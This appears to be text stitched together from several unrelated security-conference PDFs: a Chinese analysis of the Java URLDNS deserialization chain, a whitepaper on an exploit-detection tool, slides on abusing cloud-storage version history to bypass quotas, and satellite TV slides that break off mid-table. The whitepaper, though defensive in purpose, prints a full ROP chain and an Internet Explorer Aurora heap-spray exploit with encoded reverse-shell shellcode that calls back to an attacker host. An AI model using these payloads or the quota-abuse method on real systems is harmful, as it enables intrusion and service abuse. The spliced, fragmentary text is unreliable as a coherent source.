请求,证明漏洞存在 URLDNS 利⽤链原理分析 这⼀流程⼜被称为URLDNS 利⽤链。 下⾯我们通过阅读HashMap 和URL 的源码,来分析⼀下原理。 先从HashMap 的readObject 开始,可以看到使⽤循环读取key 和value,然后put 到Map ⾥⾯。通过hash(key)⽅法 获取key 的hashCode,⽽hash ⽅法调⽤的是key 的 hashCode() ⽅法,也就是URL 的hashCode ⽅法。 private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundExce ption { //已省略相关代码 // Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } } } static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); } Java反序列化漏洞 - 1.从URL类的⼀个bug 说起 6 URL 的hashCode ⽅法,在经过⼀系列调⽤后,调⽤InetAddress.getByName(host) 来 获取ip 地址。 getByName ⽅法还可以⼀步⼀步跟踪下去,最后实际调⽤是通过JNI 调⽤native ⽅法, 具体就不研究了,逻辑不外乎查看/etc/resolv.conf下配置的nameserver和/etc/hosts下⾯ 的配置,然后使⽤DNS协议查询。 public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; } //跟踪URLStreamHandler 的hashCode ⽅法 protected int hashCode(URL u) { //省略 // Generate the host part. InetAddress addr = getHostAddress(u); //省略 } protected synchronized InetAddress getHostAddress(URL u) { if (u.hostAddress != null) return u.hostAddress; String host = u.getHost(); if (host == null || host.equals("")) { return null; } else { try { u.hostAddress = InetAddress.getByName(host); } catch (UnknownHostException ex) { return null; } catch (SecurityException se) { return null; } } return u.hostAddress; } 参考资料 Java反序列化-URLDNS Java反序列化 — URLDNS利⽤链分析
pdf
Exploitation Detection System (EDS) Introduction: in the last several years, the exploits become the strongest cyber weapons in all cyber warfare. The exploit developer/vulnerability researcher become the nuclear scientist of the digital world. Most of Attacks now are APT attacks and they are based on attacking from behind. they attack using a spear phishing and client-side attacks which bypass all of security defenses and appliances nowadays. In this white paper, I will talk about a new concept named "Exploitation Detection System" which will defend against the APT Attacks and a new security mitigation tool which is based on co-operation between several mitigations to cover the weaknesses of each other and it's based on monitoring the memory changes which doesn't decrease the performance of the running application and creates a multi-layer protection with the regular mitigations. the EDS consist of 2 payload detection tools for detecting shellcodes and rop chains and includes several mitigations tools for stack overflow, heap spray, use after free and other attack techniques which we will describe in the white paper. Exploitation Detection System as a Concept: Why EDS? The next generation of attacks, the hackers nowadays attack a company from its client. they attack using spear-phishing, client-side attacks and exploits to get internally inside the network of the company and from inside these clients they attack the servers and get their information. The Attackers use new undetectable malware (which is very easy for the signature-based AVs) and use HTTP and HTTPS to bypass the Firewalls, IDS and IPS tools to connect to the Attacker and sometimes they use legitimate websites to bypass threat intelligence tools and DNS analysis. from these malwares, the attacker tries to get into the server by stealing the passwords using sniffing or whatever they can do, or even hack the server to get into your information and databases. Most of security defenses and security tools can prevent or even detect these types of attacks. So, that's the time for new era. that's the time for the next technology after the AV, Firewalls, IDS and IPS. that's the Time for EDS What's EDS? The EDS simply is your agent in the memory of the clients. with the respect to the privacy policies, the EDS is simply a memory-based exploitation detection tool which is used to stop the client-side attacks and mark suspicious actions to further investigate and contain any attack bypassed your security defenses and give you a timeline of the whole attack to contain and stop. The EDS should be a tool in the client machines to prevent or/and detect attacks and with its logs and with the correlation of its output and logs you can get a timeline of any attack and contain it. After all signature-based tools which easily could be bypassed by a targeted attack and with the network tools ... it's the time for memory-based tool to mitigate what you can't see from just the network. EDS vs Antivirus: The Exploitation Detection System is not an Antivirus because:  it's not signature-based or behavioral-based ... it's memory-based (with some behavior-based tools)  it's based on detecting memory corruption vulnerabilities.  it's your agent in the memory for memory scanning and logging suspicious actions and memory inside processes.  it doesn't detect malware but only exploits Exploitation Detection System Tool: Now I will talk about my Exploitation Detection System tool and my mitigations to stop the client-side attacks and exploits. The previous work: The Compile-time solutions: the compile time solutions are simply some mitigations solutions which is based on recompiling your application to apply this solution for it like /GS solution. these type of solutions are mostly powerful but ineffective because there will be exceptions or applications which weren't compiled with applying this solution to it. The Run-time solutions: The run-time solutions are more effective because they aren't related to recompiling but they are applied to the processes and work with their code as a black-box. these type of solutions are facing many challenges like false positives, false negatives, high memory consumption and so on. the solutions nowadays are mostly one layer of defense with some on-off mitigations which will do some solid checks to detect the attack most of these tools are very fragile to be bypassed or facing a high number of false positives due to their inflexibility and there's no additional layer of defense. What's New: This Tool will contains:  Multi-layer of defense.  Scoring system which will make it more flexible  Monitoring system as an additional layer of defense  co-operative mitigations. EDS Design: and it's divided into:  Payload Detection: which detect the payload inside the input.  Attack Vector Detection and Mitigation: which detect any attack coming from heap or stack like overflow or use-after-free  Scoring System: which score the level of suspicious of action based on payload, attack vector detection and abnormal behavior for this process.  Monitoring System: this is an additional layer of defense based on detecting bypassed mitigations from the indication of compromise of a process and make a detailed analysis over the process periodically. Payload Detection: Shellcode Detector: Goals: for the EDS, we need a high performance shellcode detector to scan on suspicious pages on memory to detect possible shellcodes. this tool must be very fast, low false positive rate and minimum false negative rate. Design: The Shellcode Detector is a static shellcode detection tool which includes 2 phases: possible shellcode detection (GetPC, loops or high number of pushes) and flow analysis phase. Phase 1: Possible Shellcode Detection. The Shellcode detection searches for 3 marks for shellcode: 1. search for loops (jmp to above, loopxx, jcc ... etc) or call to pervious 2. search for high number of pushes end with flow redirection instruction (call reg, jmp reg ... etc) 3. search for fstenv instructions followed by at least 5 valid instructions. for all of them, we ignore shellcodes which contain invalid instructions, privilege instructions or unknown behavior instructions. Phase 2: Flow Analysis In this part ... we are focusing on reading the whole instructions and how they are connected together. the flow analysis phase decrease the false positives rate with minimum decrease in performance and false negatives. and it scans of: 1. Check on the changes in stack level inside loops ... and it checks on pushes, pops or any modifications on esp to detect strange behavior in the loop and ignore it. 2. Check on jccs without a comparing instruction which could lead to unknown behavior 3. Check on a register used in comparing in a loop without being used or modified inside the loop and check if there's a loop without an index register (compare and check). 4. Check on the number of null bytes inside the shellcode which could be used to ignore shellcodes with nulls if the mitigation scans only on null-free shellcodes. Statistics: For False Negatives: I tested it on Metasploit payloads including the encryption/encoding modules and detect all of them ... and I tested shell-storm shellcodes .. it detects all windows shellcode that's compatible with ASLR. For False Positives: I tested it on large binary files from different type of files (pcap Files, wmv files and others) and the statistics (per page) showed that 4% of pages marked infected (false positives) File Type Total No of Pages Infected Pages Presentage Pcap 381 40 2% Pcap 11120 543 4% Wmv 104444 4463 4% ROP Chain Detection: This is a very small and basic tool and it's based on searching for a return address meet the following requirements: 1. the address is inside an executable page in a module 2. the return address following a call 3. Followed by ret or equivalent instructions in the next 16 bytes 4. not following a series of int3 (0xCC) bytes Security Mitigation on Stack: Here we have 2 security mitigations (mainly 1) and these mitigations are based on detecting buffer overflow which overwrites return address, seh address or vtable inside the stack. and it's based on detecting the ROP Attacks inside the stack. Wrong Module Switching: Wrong Module Switching is a monitoring-based exploitation detection mitigation and it simply backstracing the call stack searching for switching user libraries/modules to kernel libraries/modules and check on the switching if it was done correctly which means that it wasn't done by ROP. Design: This Techniques is based on hooking SSDT or Wow64 for some APIs (will be listed) and backtracing the call stack skipping the kernel modules and libraries (except who is not compatible with ASLR) until reach the user libraries (if reach nothing so it's ROP) after reach the user library caller, it disassembles backwardly 16 instructions and checks on the following on the call instructions: 1. check if it's a "call dword" to the API, call to jmp dword to the API or call reg and with a mov instruction sets the register with the address of the API 2. check if there's a very near ret instruction or equivalent instructions. 3. check the parameters and classify them into 3 categories: a. if it's a constant value ... it checks this constant value with the equivalent parameter in the SSDT call. b. if the constant value is zero (null) ... this decrease the score as it's hard to have a null parameter inside the a string overflow input (but it could be happen by modifications using ROP) c. if it's a stack address (lea eax,dword [esp/ebp +xxx]/push eax) it checks if the address is within the stack base and limit d. if it's a generic parameter .. it skips it 4. if the parameter check is not sufficient (main parameters are generic or API with unknown parameters) we check on the next call stack .. and we check on the following: a. if the next call stack is a return from call near the ret address from the API (withing 400 bytes) b. check if there's nulls between the first return address (return from the API call) and the second return address (that we check now) 5. if The next call stack is not found, we check on the SEH before the kernel modules' SEH pointers and check if it's in the same module of the API caller For this hard restrictions, we hook only special APIs that could be used by the Attackers like: 1. Process Creation APIs 2. Memory Allocation and Protection APIs 3. Connection and Sockets Creation 4. LoadLibrary and equivalent APIs for unknown DLLs. Implementation: we faced some obstacles in implementing the idea because of: 1. Some API calls are hard to find the beginning of the call stack (after the Zwxxx API) 2. Many equivalent API from kernel32,kernelbase,shell32 and others. 3. Socket Functions are away from the SSDT Hooking and has many dlls 4. SSDT Hooking is not supported in 64bits 5. The call stack backtracing could be fooled by the SEH chain for the 1st problem ... we detected that we can find the beginning of the call stack by getting the first SEH Element (on the top of the chain) and search for the first call stack in the next couple of dwords in the stack for the 2nd problem ... for these situation, we decided to monitor all of them .. some of them we don't check their parameters but only know the functionality of the API (Process Creation, Memory .. etc) for the 3rd problem ... we put all APIs from the internet DLLs (ws2_32.dll, wininet.dll ... etc) as a possible socket creation API and we hook it using Layered Service Providers and we skip the parameters and check on the next call stack for the 4th problem ... we hook WOW64 calls by API Hooking of the Wow64 dlls inside the win64 instead. for the 5th problem ... we save the SEH chain and skip it. About Possible bypassing techniques ... we will talk about them at the end of the whitepaper. SEH Overflow Mitigation: this a small and basic mitigation and it's based on monitoring the SEH chain ... and it's based on traversing the SEH chain for each thread and save the last element in the chain (which links to 0xFFFFFF in most cases) and checking periodically if there's a change on the last item. Security Mitigations on Heap: for heap, we need to secure from 3 types of attacks: 1. Heap Overflow 2. Heap Spray 3. Use After Free for Heap Overflow, we need to secure from it to support the old windows versions (XP) and to secure from data overflow in heap in jemalloc heap system which implemented by firefox. Heap Overflow: For Heap Overflow ... we hook the heap allocation functions and add a custom header contains magic, cookie and nulls. and it will be a thread that do the periodical check on the recently allocated buffer (in the last 2 secs) and ensure no overwrite had accrued. Heap Spray: in Heap Spray, we are focusing on 2 main characteristics of the heap spray ... which they are Time and Allocation Module (the module that allocates the buffer). we try to detect many memory allocations happened in small time from the same module which they are not too small (larger than 100 bytes) and after that we check for shellcode or ROP chains inside. So .. the criteria is: 1. Many Allocations from the same module 2. Allocations bigger than a specific size (100 bytes) 3. Allocations more than specific number (ex. > 350 allocations) 4. Allocations in a small time (1.5 secs) 5. Shellcodes or ROP Chains inside 2 or 3 buffers inside (we take randomly 2 or 3 allocations) Use After Free: For Use After Free, the attacker tries to create a object (contains vtable) and free this object and then use it again. Some uses Heap Spray to forcing the free or to overwrite the object again with ROP chains ... and some others don't. We uses 2 mitigations for stopping this type of attacks ... the first is the Heap Spray Mitigation and the second is that we are trying to postpone any freeing for an object contains vtable to the end of the time slice (~ 2 secs) to ensure no one tried to replace it with ROP chain Attack. we also .. while the process requests to free this object, we fill it with a magic dwords to detect any Use After Free n attacker tried to do. This mitigation forces the Attacker to wait for the end of the time slice (which will be randomly) to ensure that the object is freed ... and he needs to overwrite it exactly without using Heap Spray technique. The Implementation: To Implement these mitigations, we decided to Hook GlobalAlloc and GlobalFree and all equivalent APIs. and then, add a custom header to every allocation and link it to another array of headers (allocated by VirtualAlloc) to save all important information inside it (Time, Cookie, Allocation Eip or Module, ... etc). the link between the custom header and the Array of detailed headers is not based on pointers but it's based on guiding index. and everything will be reset after a time slice finished (random size between 1 sec to 2 secs). And it will be another thread which will check periodically on 1. Check on all the cookies of the allocations inside the time slice for detecting Heap Overflow 2. Check on Heap Spray when the time slice ends, the thread will do the following: 1. Reset the Allocations Array 2. Free All postponed objects from being freed 3. Prepare for the next time slice. Put all together: The Exploitation Detection System will inform 2 types of scanning for the same process to ensure that the process is secured from exploits. Critical Scanning and the scoring system: The critical scanning is a very fast scanning which scans on an event occurred like a call to a special API to check for a wrong module switching, a heap spray attack occurred or a heap overflow. in the Critical Scanning, the actions performed in this type of scanning is dependent on the event occurred. Also, it checks on some factors related to the process which checks on if this action or behavior is normal for this process ... like adobe reader create a new cmd process or connect to unknown website which increase the score of this action and mark it as suspicious if there's evidences for that. Wrong Module Switching Event: When a special API is called, the EDS checks on: 1. Check on the criticality of the event (Load strange library, creating strange process (from outside the program directory) or cmd or ... etc). and gives an initial score. 2. Check on the caller Eip and the parameters and increase the score or skip the event if everything is normal 3. Check on the next call stack and increase or decrease the score ... or skip for low criticality events. 4. Check for shellcode or ROP chains inside the stack (3 pages only) and increase or decrease the score. if the score reach a specific limit, it dumps the process and closes it giving a message with the reason of the termination. if the score is high but didn't reach the specific limit, it dumps the process and log a warn inside the logs of the EDS for further investigations. Heap Overflow Event: in Heap Overflow, it checks the buffer if it contains shellcode and ROP chains and closes the application giving a message of heap overflow detected and dumps it before the termination with the Headers Array for further investigations Heap Spray Event: in Heap Spray Events, it checks on 2 randomly chosen chunks (which are parts of the Heap Spray) and check for ROP chains and shellcodes. if found, the EDS will dump the process and close the application giving a message with the reason of the termination. Periodical Scanning: In the Periodical Scanning, we scans on the following:  Scan on SEH chains on every thread's stack to ensure the continuity of SEH and gives score if found an overwrite  scans for ROP chains and shellcodes, cyclic patterns and bytes and gives score on that.  scans on Heap Overflow and Heap Spray using the Heap Mitigation Thread.  check on threads running outside all modules or inside stacks.  Check Executable Places in Stack  Check Executable Places in Memory Mapped Files  and many more On this scan, we give a full picture of possible exploitations on the process and it logs the report on this periodical scan .. if the score is high ... it terminates the process giving a message of possible exploitation and dumps the process before it. Possible Attacks and Defense: In this section, I will talk about most of exploits nowadays and how this tool could secure from them and I will talk about possible bypassing techniques and how the mitigations together could co-operate to close all weaknesses inside it. ROP Attack Scenario through Stack Overflow: For a ROP Attack inside Stack using SEH Overflow or overwriting vtable inside the stack. I used (as an example) a DEP Bypass Exploit which uses VirtualProtect to allow the shellcode to be executed. Let's take a ROP Chain Example like this: #ROP FOR LOAD "kernel32.dll" my $rop = pack('V',0x00418764); # POP ESI # RETN $rop .= pack('V',0x672CA660); # Address to LoadLibraryA $rop .= pack('V',0x00412d09); # POP EBP # RETN $rop .= pack('V',0x004AD39B); # ADD ESP,24 # POP EBP # POP EDI # POP ESI # POP EBX # RETN // Endereço de retorno da funçao LoadLibraryA $rop .= pack('V',0x00472be9); # PUSHAD # POP EBX # RETN $rop .= "kernel32.dll\x00"; $rop .= "A" x 27; #ROP END HERE #Endereço para GetProcAddress 0x672CA668 #ROP FOR Function GetProcAddress $rop .= pack('V',0x0048004d); # POP EBP # RETN $rop .= "\x00\x00\x00\x00"; $rop .= pack('V',0x00409a7f); # POP EDI # RETN $rop .= pack('V',0x672CA668); # Endereço para GetProcAddress $rop .= pack('V',0x0042ad45); # PUSH ESP # POP ESI # RETN $rop .= pack('V',0x004a1b0e); # POP ESI # RETN $rop .= pack('V',0x004AD39B); # ADD ESP,24 # POP EBP # POP EDI # POP ESI # POP EBX # RETN // Endereço de retorno da funçao GetProcAddress $rop .= pack('V',0x00421953); # ADD EBP,EAX # RETN $rop .= pack('V',0x004c0634); # PUSHAD # RETN $rop .= "VirtualProtect\x00"; $rop .= "A" x 25; #ROP END HERE #ROP FOR VirtualProtect $rop .= pack('V',0x0042c786); # XCHG EAX,ESI # RETN // Endereço da VirtualProtect $rop .= pack('V',0x004d2c70); # POP EBP # RETN $rop .= pack('V',0x0047E58B); # JMP ESP // Endereço de retorno da funçao VirtualProtect $rop .= pack('V',0x0046abf7); # POP EBX # RETN $rop .= pack('V',0x00000400); # O valor de dwSize $rop .= pack('V',0x00402bb4); # POP EDX # RETN $rop .= pack('V',0x00000040); # Valor de flNewProtect $rop .= pack('V',0x10002b9c); # POP ECX # RETN $rop .= pack('V',0x10007064); # Valor de lpflOldProtect $rop .= pack('V',0x00472be9); # PUSHAD # POP EBX # RETN $rop .= pack('V',0xAAAAAAAA); # That's the Fake Return Address #ROP END HERE In this Attack, the Attacker uses a ROP chain to Get VirtualProtect API address and call to it to allow the execution of the Shellcode. Detection and Mitigation: While calling to VirtualProtect, the EDS will hook the ZwProtectVirtualMemory and traverse the call stack searching for a return address from inside a user module points to call to virtualProtect. the EDS will find the "0xAAAAAAAA" address which means that the process called to VirtualProtect using "ret" instruction and not using "call" instruction ... so the EDS will terminate the process. or the EDS will find a return to a stack address which means that the application will continue inside the shellcode that it changed its excitability Also The EDS will scan the stack for possible shellcodes and leaked ROP addresses and will check if the address which will become executable is inside the stack which will gives higher score if it's inside the stack. even if the attacker replace "0xAAAAAAAA" with an address inside the user dlls. he need to search for a call to VirtualProtect inside the user dlls contains PAGE_EXECUTE protection and need to find a call inside the user dlls points to the function that calls to virtualprotect and needs to put nulls in between. And also, the Attacker need to hide his ROP chain to not be leaked and hide his shellcode from the shellcode detector and need to avoid overwriting SEH ... which will be too hard. Heap Spray Attack Scenario: in This Scenario, The Attacker try to exploit Internet Explorer Use After Free Aurora Vulnerability. Let's see an example: <html> <script> var Array1 = new Array(); for (i = 0; i < 200; i++) { Array1[i] = document.createElement("COMMENT"); Array1[i].data = "AAA"; } var Element1 = null; function HeapSpray() { Array2 = new Array(); // msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 J var Shellcode = unescape( '%u9090%u9090%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b 14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5 752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%u d301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03% u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001 %u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u3368%u0032%u680 0%u7377%u5f32%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900%u54c4%u6850%u8029%u00 6b%ud5ff%u5050%u5050%u5040%u5040%uea68%udf0f%uffe0%u89d5%u68c7%ua8c0%u0b14%u0 268%u0100%u89bb%u6ae6%u5610%u6857%ua599%u6174%ud5ff%u6368%u646d%u8900%u57e3%u 5757%uf631%u126a%u5659%ufde2%uc766%u2444%u013c%u8d01%u2444%uc610%u4400%u5054% u5656%u4656%u4e56%u5656%u5653%u7968%u3fcc%uff86%u89d5%u4ee0%u4656%u30ff%u0868 %u1d87%uff60%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u057 5%u47bb%u7213%u6a6f%u5300%ud5ff'); var SprayValue = unescape('%u0c0d'); do { SprayValue += SprayValue } while( SprayValue.length < 870400 ); for (j = 0; j < 100; j++) Array2[j] = SprayValue + Shellcode; } function FRemove(Value1) { HeapSpray(); Element1 = document.createEventObject(Value1); document.getElementById("SpanID").innerHTML = ""; window.setInterval(FOverwrite, 50); } function FOverwrite() { buffer = "\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c 0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0 c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u 0c0d\u0c0d\u0c0d\u0c0d"; for (i = 0; i < Array1.length; i++) { Array1[i].data = buffer; } var t = Element1.srcElement; } </script> <body> <span id="SpanID"><IMG src="/abcd.gif" onload="FRemove(event)" /></span></body></html> </body> </html> In this code, the Attacker tries to Spray his shellcode all over the heap and after that the Attacker will use the Use After Free vulnerability to redirect the execution to a random address in heap which will be filled by the Heap Spray with his shellcode. Detection and Mitigation: For this type of attack, the EDS will detect many allocated chunks from the same module bigger than specific size (ex: > 100 bytes) and while scanning 2 randomly chosen chunks, the EDS will find the shellcode which will lead to terminate the application giving a message that this process was compromised. In case of User After Free only, the EDS will postpone the free of the object that contains the vtable so it will not be overwritten by the exploit and the attack will be prevented. Future Work: We are planning to include inside any company an internal server which communicate with all EDS tools inside the clients which logs and alert for suspicious actions and mitigated attacks. This Server will include a dashboard which gives you all the details of any suspicious action inside all machines and tries to give you the details of the suspicious files or suspicious IPs which contains the attack. Development: The EDS tool is based on Security Research and Development Framwork (SRDF) What's SRDF? SRDF is a development framework created mainly to support writing security tools on malware field and network field. it's mainly win32 and writing using C++ but we aim to develop a linux version and to include a python implementation for it. Goals: 1. Help Researchers in Malware or Network Security fields implement their ideas. 2. Provide a full object oriented development framework with a suitable design to meet the requirements of the targeted applications 3. To unite all small and separate tools inside one development framework. Targeted Applications:  Antivirus & Virus Removal Tools  Malware Analysis Tools (Static – Dynamic – Behavioral)  Network Tools (Sniffers – Firewalls – IDS/IPS – Packet Analysis Tools)  Exploitation & Security Mitigation Tools The Features: Before talking about SRDF Design and structure, I want to give you what you will gain from SRDF and what it could add to your project. In User-Mode part, SRDF gives you many helpful tools … and they are:  Parsers: o PE and ELF Analyzer o PDF File Analyzer o Android (APK/DEX) File Parser  Static Analysis: o x86 Assembler and Disassembler o Android Disassembler o MD5, SSDeep and Wildlist Scanner (YARA)  Dynamic Analysis: o Process Analyzer o x86 Emulator o win32 Debugger  Behavoiral Analysis: o API Hooking o Process Injection  Network Analysis: o Packet Capturing using WinPcap o Pcap File Analyzer o Flow Analysis and Session Separation o Protocol Analysis: tcp, udp, icmp and arp o Application Layer Analysis: http and dns  Others: o Full Object oriented o includes Backend Database, XML Serializer o Scalable  And many more In the Kernel-Mode part, it tries to make it easy to write your own filter device driver (not with WDF and callbacks) and gives an easy, object oriented (as much as we can) development framework with these features:  Object-oriented and easy to use development framework  Easy IRP dispatching mechanism  SSDT Hooker  Layered Devices Filtering  TDI Firewall  File and Registry Manager  Kernel Mode easy to use internet sockets  Filesystem Filter Still the Kernel-Mode in progress and many features will be added in the near future. The Development of EDS: what we reach right now is we developed every mitigation for payload and attack vector separately but we still didn't develop the scoring and the monitoring system and still our future work. Join us, Reach us and spread the word: We need your support for the growing open source community for SRDF and for the EDS idea, concept and the tool. Join us or share your ideas with us ... if you have any question please mail us at: amr.thabet[a- t]owasp.org To reach our news and updates: Twitter: @winSRDF Facebook: fb.com/SecDevelop Website: http://www.security-framework.com Source Code for SRDF: https://github.com/AmrThabet/winSRDF you are totally welcome for any question and any support. Conclusion The Exploitation Detection System is the technology of the new era and the only solution to stop the APT attacks and defend against the nowadays threats and contain it with the correlation with all network security tools the EDS tool itself is a run-time security mitigation tool which stops the exploitation through numerous mitigations and a monitoring system which becomes a multi-layer mitigation system and the mitigations co-operate with each others to cover their weaknesses. The EDS is based on a framework named "Security Research and Development Framework" which was created mainly to support writing security tools in malware and network field. The Development of EDS still in progress ... please join us and spread the word.
pdf
Transcending Cloud Limitations by Obtaining Inner Piece WITH DEEPACK CHOPPA Who am I?   I am the terror that flaps in the night   The modren man (secret secret)   Just this crazy guy, y’know? Cloud Storage   Sharing “large” (10mb+) files w/ friends   Availability/Accessibility   Replaces USB keys?   Backups Cloud Storage: Provider Comparison Service Web Accessible Yes Yes Yes Yes Yes Free Quota Limit 25gb 2gb* 5gb 7gb 5gb API Available Yes Yes Yes Yes Yes History Retention Yes 28 days Yes* (Pro) ? ? Quota Counts Δs Yes No ? N/A ? Data Representation Data Representation Data Representation The moment you’ve all been waiting for The Vulnerability Time Representation Time Space Time Representation Time Space Account Use Time Representation Time Space Account Use Time Representation Time Space Account Use Mechanism of Action I   SIZE-quota Storage   TIME-limit History   2 Independent Quota Measurement Dimensions   = Unlimited Storage*   *Technically limited by provider upload bandwidth Mechanism of Action II   Storage:   Take a large file   Cut it up into fragments   Upload each fragment as a ‘version’   Top it off with an 0b-sized chunk   Retrieval:   Pull & concat all ‘versions’ in uploaded order Time Representation II Time Representation II Enlarged to show texture Time Representation II Enlarged to show texture Account Use Time Representation II Enlarged to show texture Account Use Vertical Storage Management Framework Introducing: DeePack Choppa What is it?   “Pluggable Service Framework”   Abstracts out API/Implementation Specifics   Maintains storage db backend   Provides CLI access to core functions Demo   It’s been running the whole time Aftermath What can be done? Blue-Team Concerns I Detection Method   Constantly Rewriting Fixed Size/Time/Name   API Key Ban Whackamole   Null Caps Countermeasure   Generators to introduce variability & flexibility   Get a new one   1-byte? Blue-Team Concerns II   Unlimited space undermines business model   Barring large binary writes may break existing compatibility encfs, git, etc.   Deep analysis is time consuming/frowned upon Special Thanks   Randy Fortier – Original Security Interest   Sarah Harvey – Encouraging a DEFCON Talk   Tao Wang – Encouraging pursuit of original   Marlinspike, Schneier, Goldberg, DT et. al.
pdf
Satellite TV Technology How it works and what you can do with different dishes OldSkoolS How does content get from the broadcast location to my home? Telstar 6 This section will describe, in detail, how content from CNN Headline News’ broadcast center gets to your home. This information is characteristic of how most channels are transmitted from the broadcast location, to the service provider, and then to the home user. Atlanta You CNN uplinks (sends) their signal to the Telstar 6 satellite located at 93.0° West on Transponder 22. The location of a satellite is given in degrees away from the Greenwich meridian. This feed has a Symbol Rate of 4 MegaSymbols per second. The Forward Error Correction is set to ¾. This particular channel feed uses the PowerVu © encryption system. Telstar 6 Atlanta Section 1: Satellite TV Terminology and Broadcast Diagram : Signal Information CNN uplinks (sends) their signal to the Telstar 6 satellite located at 93.0° West on Transponder 22. The location of a satellite is given in degrees away from the Greenwich meridian. This feed has a Symbol Rate of 4 MegaSymbols per second. The Forward Error Correction is set to ¾. This particular channel feed uses the PowerVu © encryption system. 93.0° West – This refers to the location from the Greenwich Meridian. There are only east and west coordinates for satellites (and no north/south coordinates) because all the major TV and Data satellites are at the equator in a geosynchronous orbit (they move around the earth at the same speed the earth moves, therefore appearing to be stationary). Telstar 6 Atlanta Section 1: Satellite TV Terminology and Broadcast Diagram : Clarke Belt Section 1: Satellite TV Terminology and Broadcast Diagram : Clarke Belt This video shows how a moving big dish system pans the “arc” of satellites located in the Clarke Belt. CNN uplinks (sends) their signal to the Telstar 6 satellite located at 93.0° West on Transponder 22 which operates at a frequency of 12079 MHz with a Horizontal Polarity. This feed has a Symbol Rate of 4 MegaSymbols per second. The Forward Error Correction is set to ¾. This particular channel feed uses the PowerVu © encryption system. Transponder - A combination receiver, frequency converter, and transmitter package, physically part of a communications satellite. Communications satellites typically have between 12 and 24 onboard transponders. Telstar 6 Atlanta Section 1: Satellite TV Terminology and Broadcast Diagram : Transponders Uplink Frequency Transponder Downlink Frequency CNN uplinks (sends) their signal to the Telstar 6 satellite located at 93.0° West on Transponder 22 which operates at a frequency of 12079 MHz with a Horizontal Polarity. Vertical Polarity Horizontal Polarity Circular Polarization The use of opposing polarities allows for more bandwidth on the satellite because the same frequency can be reused on a different polarity. Section 1: Satellite TV Terminology and Broadcast Diagram : Polarity DBS services use Circular Polarization, while other satellite broadcasts on C-band and Ku-Band use horizontal and vertical polarity. CNN uplinks (sends) their signal to the Telstar 6 satellite located at 93.0° West on Transponder 22. The location of a satellite is given in degrees away from the Greenwich meridian. This feed has a Symbol Rate of 4 MegaSymbols per second. The Forward Error Correction is set to ¾. This particular channel feed uses the PowerVu © encryption system. Symbol Rate – This is the “bit rate” of the transmission. As with most data transfer mediums, the receiver must know the rate at which the transmitter is sending information. CNN’s symbol rate corresponds with a 8Mb/s data rate. Most communications satellites have capacity for about 29Ks/s on a transponder. Telstar 6 Atlanta Section 1: Satellite TV Terminology and Broadcast Diagram : Symbol Rate CNN uplinks (sends) their signal to the Telstar 6 satellite located at 93.0° West on Transponder 22. The location of a satellite is given in degrees away from the Greenwich meridian. This feed has a Symbol Rate of 4 MegaSymbols per second. The Forward Error Correction is set to ¾. This particular channel feed uses the PowerVu © encryption system. FEC – Forward Error Correction. Satellite transponders are rather noisy communications channels are therefore subject to a large number of errors when a signal is sent through them. As a result, Forward Error Correction is used, where the transmitter sends error correction information along with the actual signal so that should errors occur, the receiver can re-generate the bit stream. A FEC of ¾ means that for every 3 bits of real data, there is 1 bit of error correction data. Telstar 6 Atlanta Stream Data 3 Bits EC info 1 Bit Section 1: Satellite TV Terminology and Broadcast Diagram : FEC Telstar 6 Atlanta Stream Decrypted and Decoded Stream re-encoded and multiplexed Stream Encrypted The stream is decrypted and decoded by the service provider’s equipment, where it is then re-encoded and multiplexed with other channels before being encrypted and up linked to the satellite that the home user points the dish at. Section 1: Satellite TV Terminology and Broadcast Diagram Transponder – 16 Frequency – 12.443 GHz (DBS Band) Symbol Rate – 20000 Ks/s FEC – 5/6 SID - 202 VPID - 4898 APID – 4899 (English) Echostar 7 SID – Service ID VPID – Video Packet Identifier APID – Audio Packet Identifier Section 1: Satellite TV Terminology and Broadcast Diagram The information provided from this slide forward until the end of this section is DVB specific. Dish Network, Bell ExpressVu, and almost every European Satellite service uses the DVB standard for Video, Audio, and Data transmissions via satellite. Encryption – Nagravision ® Stream Type – DVB Satellite (for CNN channel) – Echostar 7 (119.0° West) Section 2: DVB and Conditional Access PCI DVB-S cards are able to receive and display DVB MPEG2 satellite signals, such as the FTA channels. With the appropriate hardware CAM module, they are also able to decode subscription TV-services that use the DVB standard. TSF of 0 or 1 TSF of 2 or 3 MPEG Decoder Conditional Access Module Smart Card FTA (Free to Air) Channels Telstar 5 T5 97o W 11749 Ku V BJ HomeSat 3 7232 T5 97o W 11749 Ku V BJ HomeSat 4 7232 T5 97o W 11749 Ku V BJ HomeSat 1 7232 T5 97o W 11749 Ku V BJ HomeSat 2 7232 T5 97o W 11836 Ku V Skylink TV 20765 T5 97o W 11836 Ku V NTD TV 20765 T5 97o W 11836 Ku V TVI (Australia) 20765 T5 97o W 11836 Ku V Melli TV (Persian/Iranian TV) 20765 T5 97o W 11836 